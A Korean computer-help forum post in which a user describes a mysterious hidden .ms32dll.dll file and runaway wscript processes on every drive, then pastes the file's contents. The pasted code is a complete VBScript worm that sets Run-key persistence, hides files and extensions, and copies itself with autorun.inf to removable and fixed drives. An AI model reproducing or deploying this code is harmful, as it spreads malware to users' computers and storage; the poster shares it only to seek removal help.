언제부터인가 c드라이브를 제외한 드라이브를 열때마다 루트 디렉토리에 .ms32dll.dll 이란 파일이 생성됩니다.

거기에다 프로세스엔 wscript가 실행되는군요. 네이버 지식인에서 찾아보니 악성코드인거 같아

wscript 프로세스를 종료한 후 악성코드를 검사해도 안 잡히고, 여러가지로 골치입니다.

ms32dll 파일을 지우면 해당 드라이브를 열수도 없고 wcript는 드라이브를 열때마다 하나씩 실행되서

폴더검색을 많이하다보면 컴퓨터도 오류나는군요

또, usb메모리나 외장하드를 연결했다가 '하드웨어 안전하게 제거'를 눌러서 종료시키려고해도 wcript때문에

프로세스를 일일이 하나씩 종료후 제거해야됩니다.

레임분들중 아시는 분이 있으면 꼭 좀 알려주세요ㅜ

혹시몰라서 ms32dll파일 내용을 올립니다.


'marker
'slow and silent (sas)1.0
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,cc,hm
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe .MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
set rg = createobject("WScript.Shell")
rg.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout","0"
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&".MS32DLL.dll.vbs"
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunwinboot","wscript.exe "&winpath&"boot.ini"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDriveTypeAutoRun",0,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedSuperHidden",1,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedShowSuperHidden",0,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHideFileExt","1"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHidden","1"
dim text,size
size = mf.size
set text=mf.openastextstream(1,-2)
cc = text.readline
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & ".MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & ".MS32DLL.dll.vbs",2,true)
tf.write "'ker"&vbcrlf&mysource
tf.close
set tf = fs.getfile(winpath & ".MS32DLL.dll.vbs")
tf.attributes = 39
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "boot.ini")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "boot.ini",2,true)
tf.write "'ker"&vbcrlf&mysource
tf.close
set tf = fs.getfile(winpath & "boot.ini")
tf.attributes = 39
if cc = "'mark" then
rg.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname
end if
if cc = "'marker" then
rg.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname
end if
do
for each flashdrive in fs.drives
hm="'mark"
If (flashdrive.drivetype=1 or flashdrive.drivetype=2) and flashdrive.path <> "A:" then
if(flashdrive.drivetype=2) then
hm = "'marker"
end if
set tf=fs.getfile(flashdrive.path &".MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &".MS32DLL.dll.vbs",2,true)
tf.write hm&vbcrlf&mysource
tf.close
set tf=fs.getfile(flashdrive.path &".MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
rg.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout","0"
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&".MS32DLL.dll.vbs"
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunwinboot","wscript.exe /E:vbs "&winpath&"boot.ini"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDriveTypeAutoRun",0,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedSuperHidden",1,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedShowSuperHidden",0,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHideFileExt","1"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHidden","1"
next
if cc <> "'mark" then
Wscript.sleep 10000
end if
loop while cc <> "'mark"